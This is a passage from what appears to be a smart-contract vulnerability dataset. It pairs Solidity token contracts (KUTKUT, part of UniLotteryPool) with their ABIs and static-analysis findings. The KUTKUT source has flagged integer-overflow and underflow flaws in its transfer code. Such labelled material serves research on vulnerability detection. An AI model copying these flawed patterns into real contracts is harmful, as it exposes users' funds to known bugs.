"confidence": "High", "lines": {"Tritecoin.sol": [234, 235, 236]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Tritecoin.sol": [1]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"Tritecoin.sol": [90, 91, 92]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"Tritecoin.sol": [208]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"Tritecoin.sol": [90, 91, 92]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"Tritecoin.sol": [90, 91, 92]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Tritecoin.sol": [199]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Tritecoin.sol": [185]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Tritecoin.sol": [190]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Tritecoin.sol": [195]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Tritecoin.sol": [388]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Tritecoin.sol": [388]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Tritecoin.sol": [388]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Tritecoin.sol": [185]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Tritecoin.sol": [190]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"Tritecoin.sol": [382]}}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium", "lines": {"Tritecoin.sol": [389]}}] | [] | [{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 118, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 257, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 195, "severity": 2}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 74, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 177, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 208, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 210, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 175, "severity": 1}] | [{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"constant":false,"inputs":[{"internalType":"address","name":"_addr","type":"address"},{"internalType":"bool","name":"_allowed","type":"bool"}],"name":"allowAddress","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"allowedAddresses","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"_addr","type":"address"}],"name":"canTransfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"initialSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_addr","type":"address"},{"internalType":"bool","name":"_locked","type":"bool"}],"name":"lockAddress","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"locked","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"lockedAddresses","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"mint","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"renounceOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"bool","name":"_locked","type":"bool"}],"name":"setLocked","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_tokenAddress","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transferAnyERC20","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}] | v0.5.12+commit.7709ece9 | false | 200 | Default | MIT | false | bzzr://0f1b1fbff7d4939aa2c68d685d4e05d8012b89e90736dc668383893c83554851 |
|||
KUTKUT | 0x3a72c3f1185eacceca861c091157fca1ad1bdf3f | Solidity | pragma solidity ^0.4.4;
contract Token {
/// @return total amount of tokens
function totalSupply() constant returns (uint256 supply) {}
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance) {}
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success) {}
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success) {}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
//Default assumes totalSupply can't be over max (2^256 - 1).
//If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap.
//Replace the if with this one instead.
//if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
//same as above. Replace this line with the following if you want to protect against wrapping uints.
//if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
//name this contract whatever you'd like
contract KUTKUT is StandardToken {
function () {
//if ether is sent to this address, send it back.
throw;
}
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
string public name; //fancy name: eg Simon Bucks
uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether.
string public symbol; //An identifier: eg SBX
string public version = '1.0'; //human 0.1 standard. Just an arbitrary versioning scheme.
//
// CHANGE THESE VALUES FOR YOUR TOKEN
//
//make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token
function KUTKUT(
) {
balances[msg.sender] = 20000000000; // Give the creator all initial tokens (100000 for example)
totalSupply = 20000000000; // Update total supply (100000 for example)
name = "KUTKUT"; // Set the name for display purposes
decimals = 2; // Amount of decimals for display purposes
symbol = "KUTKUT"; // Set the symbol for display purposes
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this.
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
//it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | [{"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["109", "86"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["51", "52", "62", "63", "64"]}] | [{"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"KUTKUT.sol": [109]}}, {"check": "deprecated-standards", "impact": "Informational", "confidence": "High", "lines": {"KUTKUT.sol": [134]}}, {"check": "deprecated-standards", "impact": "Informational", "confidence": "High", "lines": {"KUTKUT.sol": [134]}}, {"check": "deprecated-standards", "impact": "Informational", "confidence": "High", "lines": {"KUTKUT.sol": [95]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"KUTKUT.sol": [29]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"KUTKUT.sol": [6]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"KUTKUT.sol": [34]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"KUTKUT.sol": [23]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"KUTKUT.sol": [96, 93, 94, 95]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"KUTKUT.sol": [16]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"KUTKUT.sol": [128, 129, 130, 131, 132, 133, 134, 135, 136, 127]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"KUTKUT.sol": [10]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"KUTKUT.sol": [1]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"KUTKUT.sol": [134]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"KUTKUT.sol": [80]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"KUTKUT.sol": [74]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"KUTKUT.sol": [80]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"KUTKUT.sol": [45]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"KUTKUT.sol": [45]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"KUTKUT.sol": [58]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"KUTKUT.sol": [58]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"KUTKUT.sol": [74]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"KUTKUT.sol": [127]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"KUTKUT.sol": [127]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"KUTKUT.sol": [58]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"KUTKUT.sol": [70]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"KUTKUT.sol": [127]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"KUTKUT.sol": [119]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"KUTKUT.sol": [120]}}] | [{"error": "Integer Underflow.", "line": 108, "level": "Warning"}, {"error": "Integer Underflow.", "line": 109, "level": "Warning"}, {"error": "Integer Underflow.", "line": 106, "level": "Warning"}, {"error": "Integer Overflow.", "line": 62, "level": "Warning"}, {"error": "Integer Overflow.", "line": 127, "level": "Warning"}] | [{"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 134, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 95, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 134, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 6, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 10, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 34, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 70, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 80, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 74, "severity": 2}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 6, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 10, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 16, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 23, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 29, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 34, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_REDUNDANT_FALLBACK_REJECT", "line": 93, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 134, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 134, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 6, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 10, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 16, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 23, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 29, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 34, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 45, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 58, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 70, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 74, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 80, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 93, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 117, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 127, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 84, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 85, "severity": 1}] | [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"version","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"},{"name":"_extraData","type":"bytes"}],"name":"approveAndCall","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":false,"stateMutability":"nonpayable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_from","type":"address"},{"indexed":true,"name":"_to","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_owner","type":"address"},{"indexed":true,"name":"_spender","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Approval","type":"event"}] | v0.4.19+commit.c4cbbb05 | true | 200 | Default | false | bzzr://c6e4e004a0a62645cb4abd72936e7a79f7837c87d1234893f4d087836056f4ce |
||||
UniLotteryPool | 0xec0eb8d86d735c54c7523f30fd45d8d8f178cd8b | Solidity | // SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.7.1;
pragma experimental ABIEncoderV2;
//
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20Mintable}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
